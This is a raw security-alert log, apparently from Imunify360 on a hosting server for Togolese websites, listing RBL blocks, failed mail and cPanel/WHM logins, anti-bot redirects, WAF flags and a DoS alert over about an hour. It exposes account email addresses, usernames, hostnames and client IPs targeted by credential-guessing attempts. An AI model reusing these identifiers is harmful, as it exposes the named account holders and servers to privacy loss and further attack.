192.144.89.137 - - [22/Jun/2026:20:10:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7039647&pdata=https%253A%252F%252Ftogomedia24.tg%252Ftag%252Fsupply%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782159035 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/tag/supply/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.5243.1390 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:192.144.89.137


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 176.97.79.119
country_id: 2750405
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:20-10.176.97.79.119||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.208.83.5
country_id: 6252001
description:
2026-06-22 20:11:26 dovecot_login authenticator failed for H=(usmlepatients.com) [172.208.83.5]:44912: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.237.58.35
country_id: 1269750
description:
Jun 22 20:13:17 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.237.58.35 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.94.226.250
country_id: 3437598
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/b8b7b6 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.237.58.35
country_id: 1269750
description:
Jun 22 20:13:32 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.237.58.35 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.120.126
country_id: 3469034
description:
Jun 22 20:13:38 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.120.126 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.96.133
country_id: 2363686
description:
[2026-06-22 20:16:37 +0000] info [webmaild] 196.171.96.133 - tlemou@caissederetraites.tg "POST /cpsess2349632903/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [160.242.199.70] != Current IP Address [196.171.96.133]


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.96.133
country_id: 2363686
description:
[2026-06-22 20:18:13 +0000] info [webmaild] 196.171.96.133 - tlemou@caissederetraites.tg "POST /cpsess2349632903/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 135.136.18.8
country_id: 3042058
domain: belali.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:antoniomccloud3||Email:gseotier2@xmc.pl||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.85.16
country_id: 2921044
description:
[2026-06-22 20:18:11 +0000] info [cpaneld] 217.181.85.16 - sahamtg "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.96.133
country_id: 2363686
description:
[2026-06-22 20:19:12 +0000] info [webmaild] 196.171.96.133 - tlemou@caissederetraites.tg "POST /cpsess2349632903/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.96.133
country_id: 2363686
description:
[2026-06-22 20:20:14 +0000] info [webmaild] 196.171.96.133 - tlemou@caissederetraites.tg "GET /cpsess5696081225/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 45.86.19.169
country_id: 6252001
domain: ekeasarl.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/140.0.0.0 Safari/537.36||RSV:8.19||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.245.243.110
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:104.245.243.110||TA:104.245.243.110||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.241
country_id: 3175395
description:
Jun 22 20:20:54 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.241 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:20:20:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10065564&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782159648 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:20:20:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6921064&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782159651 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 89.248.171.23
country_id: 2750405
description:
89.248.171.23 - - [22/Jun/2026:20:22:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6854255&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782159730 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:89.248.171.23


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.255.139.138
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/880334571 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.253.248.62
country_id: 130758
description:
Jun 22 20:27:37 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.253.248.62 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 146.70.251.124
country_id: 2623032
description:
146.70.251.124 - - [22/Jun/2026:20:28:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6775964&pdata=https%253A%252F%252F154.70.82.246%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782160132 HTTP/2.0" 302 0 154.70.82.246 "https://154.70.82.246/home" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3 Safari/605.1.15" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:146.70.251.124


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 109.61.85.42
country_id: 2623032
description:
109.61.85.42 - - [22/Jun/2026:20:28:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10013037&pdata=http%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782160135 HTTP/1.1" 302 0 www.snb.tg "http://www.snb.tg/home" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:109.61.85.42


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.113
country_id: 1880251
description:
47.128.121.113 - - [22/Jun/2026:20:28:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9921483&pdata=https%253A%252F%252Ftogomedia24.tg%252Ftag%252F2024%252Fpage%252F6%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782160130 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/tag/2024/page/6/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.113


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.96.146
country_id: 3469034
description:
Jun 22 20:29:46 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.96.146 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 51.83.4.64
country_id: 3017382
description:
[2026-06-22 20:30:13 +0000] info [cpaneld] 51.83.4.64 - kwbcfbmo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kwbcfbmo (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 94.143.197.40
country_id: 1527747
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/senat-togo-barry-moussa-barque-rencontre-la-cedeao-et-loms/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 70.119.147.37
country_id: 6252001
description:
[2026-06-22 20:33:57 +0000] info [whostmgrd] 70.119.147.37 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.66.6.155
country_id: 953987
description:
Jun 22 20:35:04 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.66.6.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.8.251.144
country_id: 3469034
description:
Jun 22 20:35:24 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.8.251.144 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:20:34:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7259290&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782160467 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:20:34:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12885449&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782160468 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.8.251.144
country_id: 3469034
description:
Jun 22 20:35:32 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.8.251.144 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 109.61.85.42
country_id: 2623032
description:
109.61.85.42 - - [22/Jun/2026:20:35:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6777966&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782160531 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko)                     Version/6.0 Mobile/10A5376e Safari/8536.25" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:109.61.85.42


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 108.174.147.120
country_id: 3469034
description:
Jun 22 20:39:36 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 108.174.147.120 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 109.61.85.42
country_id: 2623032
description:
109.61.85.42 - - [22/Jun/2026:20:40:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6777966&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782160531 HTTP/2.0" 404 159 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (iPhone; CPU iPhone OS 10_0 like Mac OS X) AppleWebKit/602.1.38 (KHTML, like Gecko) Version/10.0 Mobile/14A5297c Safari/602.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:109.61.85.42


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 210.16.91.93
country_id: 1269750
description:
Jun 22 20:45:16 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 210.16.91.93 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 210.16.91.93
country_id: 1269750
description:
Jun 22 20:45:30 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 210.16.91.93 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.162.20.26
country_id: 3865483
description:
Jun 22 20:45:56 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.162.20.26 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.28.163.35
country_id: 1880251
description:
104.28.163.35 - - [22/Jun/2026:20:46:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9724619&pdata=https%253A%252F%252Fwww.snb.tg%252Fcontact&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782161189 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/contact" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/30.0 Chrome/143.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.28.163.35


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 105.174.17.50
country_id: 3351879
description:
Jun 22 20:50:14 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 105.174.17.50 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.111.162.230
country_id: 2017370
description:
Jun 22 20:49:54 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.111.162.230 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.111.162.230
country_id: 2017370
description:
2026-06-22 20:49:56 dovecot_plain authenticator failed for H=(zbbrjzexr7jsgomy7y9u110) [89.111.162.230]:41925: 535 Incorrect authentication data (set_id=andre.k@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.74
country_id: 130758
description:
Jun 22 20:50:02 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.74 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:20:50:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6448285&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782161452 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:20:50:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10275478&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782161450 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jun 22 20:51:40 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 114.241.7.212
country_id: 1814991
description:
Jun 22 20:52:22 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 114.241.7.212 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 114.241.7.212
country_id: 1814991
description:
2026-06-22 20:52:24 dovecot_plain authenticator failed for H=(3mm2dwgru9ghg6c4j5975hn5td) [114.241.7.212]:54626: 535 Incorrect authentication data (set_id=welldrive@confortis.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.73.107.107
country_id: 1210997
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/sante-au-togo-un-code-vestimentaire-national-pour-le-personnel-hospitalier HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 209.242.198.35
country_id: 3017382
description:
209.242.198.35 - - [22/Jun/2026:20:53:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13222808&pdata=https%253A%252F%252Ftogomedia24.tg%252Ftag%252Fmarche%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782161580 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/tag/marche/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.8365.1081 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:209.242.198.35


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 148.66.155.73
country_id: 1880251
description:
Jun 22 20:55:27 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 148.66.155.73 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.164.246.220
country_id: 1269750
description:
Jun 22 20:55:38 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.164.246.220 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 51.83.4.60
country_id: 3017382
description:
[2026-06-22 20:56:33 +0000] info [cpaneld] 51.83.4.60 - pduusmyf "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 134.209.190.136
country_id: 2635167
description:
Jun 22 20:59:24 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 134.209.190.136 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 108.174.147.120
country_id: 3469034
description:
Jun 22 21:01:04 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 108.174.147.120 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 124.223.38.27
country_id: 1814991
description:
Jun 22 21:03:12 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 124.223.38.27 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.204.165.135
country_id: 6252001
description:
[2026-06-22 21:03:39 +0000] info [whostmgrd] 73.204.165.135 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 42.236.11.76
country_id: 1814991
description:
Denial of Service (DoS) attack was discovered from 42.236.11.76: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:21:05:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9542598&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782162313 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:21:05:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10066841&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782162315 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.245
country_id: 2363686
description:
2026-06-22 21:04:41 dovecot_login authenticator failed for H=(cloud.netmaster.tg) [154.70.82.245]:57520: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 96.250.247.129
country_id: 6252001
description:
[2026-06-22 21:07:30 +0000] info [whostmgrd] 96.250.247.129 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [22/Jun/2026:21:10:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10383201&pdata=http%253A%252F%252Fsia-togo.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782162613 HTTP/1.1" 302 0 sia-togo.tg "http://sia-togo.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 79.135.105.172
country_id: 163843
description:
2026-06-22 21:09:59 dovecot_login authenticator failed for H=(cameg-togo.tg) [79.135.105.172]:32826: 535 Incorrect authentication data (set_id=sales@mail.cameg-togo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.196.9.6
country_id: 6252001
description:
103.196.9.6 - - [22/Jun/2026:21:10:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12819349&pdata=https%253A%252F%252Ftogomedia24.tg%252Fcategory%252Ffootball%252Fpage%252F13%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782162636 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/category/football/page/13/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.8325.1123 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.196.9.6


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-22 21:10:32 +0000] info [cpaneld] 102.54.238.57 - e.carine "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.carine (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.148.120
country_id: 690791
description:
Jun 22 21:11:37 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.148.120 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.163.215.131
country_id: 1562822
description:
Jun 22 21:13:25 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.163.215.131 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 38.76.160.193
country_id: 1819730
description:
Jun 22 21:13:12 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 38.76.160.193 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.13.90.74
country_id: 1814991
description:
Jun 22 21:14:26 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.13.90.74 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 105.174.17.50
country_id: 3351879
description:
Jun 22 21:14:58 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 105.174.17.50 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.159.90.127
country_id: 2750405
description:
Jun 22 21:17:36 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.159.90.127 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.159.90.127
country_id: 2750405
description:
2026-06-22 21:17:38 dovecot_login authenticator failed for H=(ADMIN) [203.159.90.127]:35062: 535 Incorrect authentication data (set_id=mailer-daemon@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 134.209.190.136
country_id: 2635167
